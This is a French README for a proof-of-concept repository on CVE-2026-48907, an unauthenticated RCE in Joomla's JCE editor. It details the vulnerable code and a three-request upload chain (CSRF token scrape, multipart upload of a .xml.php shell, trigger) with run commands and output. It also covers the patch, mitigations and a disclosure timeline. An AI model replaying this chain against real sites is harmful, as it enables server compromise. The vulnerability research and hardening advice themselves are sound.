
Exploit de preuve de concept et analyse technique pour CVE-2026-48907, une vulnérabilité d'exécution de code à distance pré-authentification CVSS 10.0 dans Joomla Content Editor (JCE). Inclut une chaîne d'attaque en 3 requêtes et une ventilation détaillée du correctif.
Preuve de concept (exploit) pour CVE-2026-48907 — une vulnérabilité d'exécution de code à distance (RCE) de score CVSS 10.0, exploitable sans authentification préalable, dans l'extension Joomla Content Editor (JCE).
Recherche par Grayxploit Security Team
CVE-2026-48907 est une vulnérabilité critique d'exécution de code à distance (RCE) non authentifiée affectant l'extension Joomla Content Editor (JCE) — l'éditeur Joomla le plus largement installé — dans toutes les versions jusqu'à la 2.9.99.4 incluse.
En enchaînant trois faiblesses de sécurité indépendantes dans le flux d'importation de profils JCE, un attaquant totalement non authentifié peut :
/tmp/ du serveurL'attaque ne nécessite que 3 requêtes HTTP et fonctionne contre toute installation Joomla par défaut exécutant une version vulnérable de JCE.
Score CVSS v4 : 10.0 — Critique
Découverte et divulguée publiquement par l'équipe de recherche en sécurité Grayxploit à la suite d'une divulgation responsable.
| Logiciel | Versions vulnérables | Version corrigée |
|---|---|---|
| Joomla Content Editor (JCE) | ≤ 2.9.99.4 | 2.9.99.6 (recommandée) |
Remarque : La version 2.9.99.5 a introduit le correctif principal. La version 2.9.99.6 a ajouté des couches de durcissement supplémentaires. Mettez à niveau vers la 2.9.99.6 ou une version ultérieure.
La vulnérabilité provient du point de terminaison d'importation de profils JCE :
POST /index.php?option=com_jce&task=profiles.import
JCE permet aux administrateurs d'exporter et d'importer des profils d'éditeur sous forme de fichiers XML. Le gestionnaire d'importation est accessible sans authentification et accepte des téléversements de fichiers arbitraires en raison d'une chaîne de trois faiblesses indépendantes.
Le contrôleur d'importation n'effectuait aucune vérification ACL :
public function import()
{
// Only gate: CSRF token — trivially bypassable
Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
$app = Factory::getApplication();
// … straight into file handling — no authorise() check
}
Joomla intègre le jeton CSRF dans chaque page publique sous forme de balise meta ou de variable JS :
<meta name="csrf.token" content="abcdef1234567890abcdef1234567890" />
Un attaquant n'a qu'à récupérer la page d'accueil, extraire le jeton et le rejouer. La vérification CSRF empêche les requêtes intersites — elle n'empêche pas les requêtes scriptées directes. Aucun appel à Factory::getUser() ou $user->authorise(...) n'était présent dans le chemin d'importation.
Le gestionnaire de téléversement utilisait File::makeSafe(), qui se contente de supprimer les caractères illégaux du système de fichiers — il ne valide pas et ne restreint pas les extensions de fichiers :
$file = $app->input->files->get('profile_file', null, 'raw');
if (!is_uploaded_file($file['tmp_name'])) { return false; }
$name = File::makeSafe($file['name']); // strips illegal chars only
$destination = $config->get('tmp_path') . '/' . $name;
$source = $file['tmp_name'];
File::upload($source, $destination, false, true);
Un nom de fichier tel que shell.xml.php passe File::makeSafe() sans être modifié. Le module mod_php d'Apache l'exécute car la dernière extension reconnue est .php. Les extensions telles que .php, .php5, .phtml et les variantes à double extension étaient toutes acceptées.
File::upload() appelée avec $allow_unsafe = true (CWE-116)La méthode File::upload() de Joomla intègre une liste noire d'extensions qui bloque les types de fichiers dangereux lorsque $allow_unsafe = false (la valeur par défaut) :
// Joomla File::upload() signature
File::upload($src, $dest, $use_streams = false, $allow_unsafe = false)
Le code JCE vulnérable désactivait explicitement ce filet de sécurité :
// VULNERABLE — unsafe uploads explicitly enabled
File::upload($source, $destination, false, true);
Ce simple booléen désactivait l'intégralité de la liste noire interne d'extensions de Joomla, permettant à .php, .php5, .phtml et à toutes les autres extensions exécutables d'être écrits sur le disque.
┌─────────────────────────────────────────────────────────────────┐
│ │
│ ① GET / │
│ ← Extract csrf_token from HTML/JS │
│ │
│ ② POST /index.php?option=com_jce&task=profiles.import │
│ Content-Type: multipart/form-data │
│ │
│ --boundary │
│ Content-Disposition: form-data; name="task" │
│ profiles.import │
│ --boundary │
│ Content-Disposition: form-data; name="<csrf_token>" │
│ 1 │
│ --boundary │
│ Content-Disposition: form-data; │
│ name="profile_file"; │
│ filename="shell-<hash>.xml.php" │
│ Content-Type: application/xml │
│ │
│ <?= 45*69 ?> │
│ --boundary-- │
│ │
│ ← 200 OK (file written to /var/www/html/tmp/) │
│ │
│ ③ GET /tmp/shell-<hash>.xml.php │
│ ← Response: "3105" (45 × 69 = RCE confirmed ✓) │
│ │
└─────────────────────────────────────────────────────────────────┘
No session cookie. No username. No password. 3 HTTP requests.
⚠️ Cette preuve de concept est fournie strictement pour la recherche en sécurité autorisée et les tests d'intrusion. Ne l'utilisez pas contre un système sans autorisation écrite explicite. Toute utilisation non autorisée est illégale et contraire à l'éthique.
pip3 install requests
git clone https://github.com/grayxploit/CVE-2026-48907.git
cd CVE-2026-48907
pip3 install -r requirements.txt
python3 poc.py
[] Cible : http://localhost:9999
[] Charge utile : cve-2026-48907-4821.xml.php [] Étape 1 — Récupération du jeton CSRF...
[+] Jeton CSRF : abcdef1234567890abcdef1234567890
[] Étape 2 — Téléversement de la charge utile...
[+] Réponse de téléversement : HTTP 200
[*] Étape 3 — Déclenchement de l'exécution de la charge utile...
[CRITIQUE] RCE CONFIRMÉE — CVE-2026-48907
La cible http://localhost:9999 est VULNÉRABLE
Les trois faiblesses ont été corrigées dans JCE 2.9.99.5, avec un durcissement supplémentaire livré dans 2.9.99.6.
controller/profiles.php :
$user = Factory::getUser();
if (!$user->authorise('core.manage', 'com_jce')) {
throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'), 403);
}
Les utilisateurs invités (id = 0) échouent immédiatement au test authorise(). La requête est rejetée avant tout traitement de fichier.
models/profile.php :
$extension = PATHINFO($name, PATHINFO_EXTENSION);
if (strtolower($extension) !== 'xml') {
$app->enqueueMessage(Text::_('WF_PROFILES_IMPORT_INVALID_FILE'), 'error');
return false;
}
PATHINFO_EXTENSION ne renvoie que l'extension finale. shell.xml.php → php → rejeté. Cela neutralise tous les contournements par extensions multiples.
// Before (vulnerable)
File::upload($source, $destination, false, true);
// After (patched)
File::upload($source, $destination, false);
La liste noire interne d'extensions de Joomla est réactivée en tant que couche de défense indépendante.
| Correctif | Détail |
|---|---|
| Limite de taille de téléversement | Rejette les fichiers > 512 Ko |
| Protection XXE | libxml_disable_entity_loader(true) rétroporté vers PHP 7.x |
| Liste blanche des champs XML | Seules les clés XML connues comme sûres sont traitées ; les clés arbitraires sont ignorées silencieusement |
| Priorité | Action |
|---|---|
| 🔴 Immédiate | Mettre à niveau JCE vers ≥ 2.9.99.6 |
| 🟠 Élevée | Bloquer ou restreindre l'accès web à /tmp/ au niveau du serveur |
| 🟠 Élevée | Désactiver l'exécution de PHP dans les répertoires temporaires via .htaccess ou la configuration du serveur |
| 🟡 Moyenne | Ajouter une règle WAF pour alerter ou bloquer sur com_jce&task=profiles.import depuis des sessions non authentifiées |
| 🟡 Moyenne | Auditer les autres extensions Joomla à la recherche de File::upload(..., true) sans validation d'extension |
/tmp/ via .htaccess<Directory /var/www/html/tmp>
php_flag engine off
<FilesMatch "\.ph(p[2-9]?|tml)$">
Deny from all
</FilesMatch>
</Directory>
| Date | Événement |
|---|---|
| 2026-05-XX | Vulnérabilité découverte par l'équipe de recherche Grayxploit |
| 2026-05-XX | Divulgation responsable soumise aux mainteneurs de JCE |
| 2026-06-XX | CVE-2026-48907 assignée par MITRE |
| 2026-06-XX | JCE 2.9.99.5 publiée — correctif principal |
| 2026-06-12 | JCE 2.9.99.6 publiée — durcissement supplémentaire |
| 2026-06-12 | Divulgation publique par Grayxploit |
Ce dépôt est destiné uniquement à la recherche en sécurité autorisée, à l'éducation et aux tests d'intrusion sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de tester.
L'équipe Grayxploit n'est pas responsable de toute utilisation non autorisée, illégale ou malveillante du code ou des informations fournis dans ce dépôt.
Utilisez de manière responsable. Testez légalement.
Ce projet est sous licence MIT License.
Chaque étoile aide cette recherche à atteindre davantage de défenseurs, de pentesters et de blue teamers qui en ont besoin.
Grayxploit est une équipe indépendante de recherche en sécurité axée sur la découverte de vulnérabilités, le développement d'exploits et la divulgation responsable à travers les plateformes web, les écosystèmes CMS et les logiciels open source.
| Nous trouvons | Nous divulguons | Vous défendez |
|---|---|---|
| Des RCE pré-authentification | De manière responsable et publique | Avec notre analyse détaillée des correctifs |
Vous avez une information à partager ou souhaitez collaborer ? Ouvrez une Issue ou contactez-nous via notre profil GitHub.
CVE-2026-48907 — Recherche originale par
On casse des choses. En toute responsabilité.
| Des failles logiques | Avec des analyses complètes des causes racines | Grâce à nos PoC utilisés en toute sécurité |
| Des vulnérabilités chaînées | Avant le début de l'exploitation massive | Plus vite que les acteurs malveillants |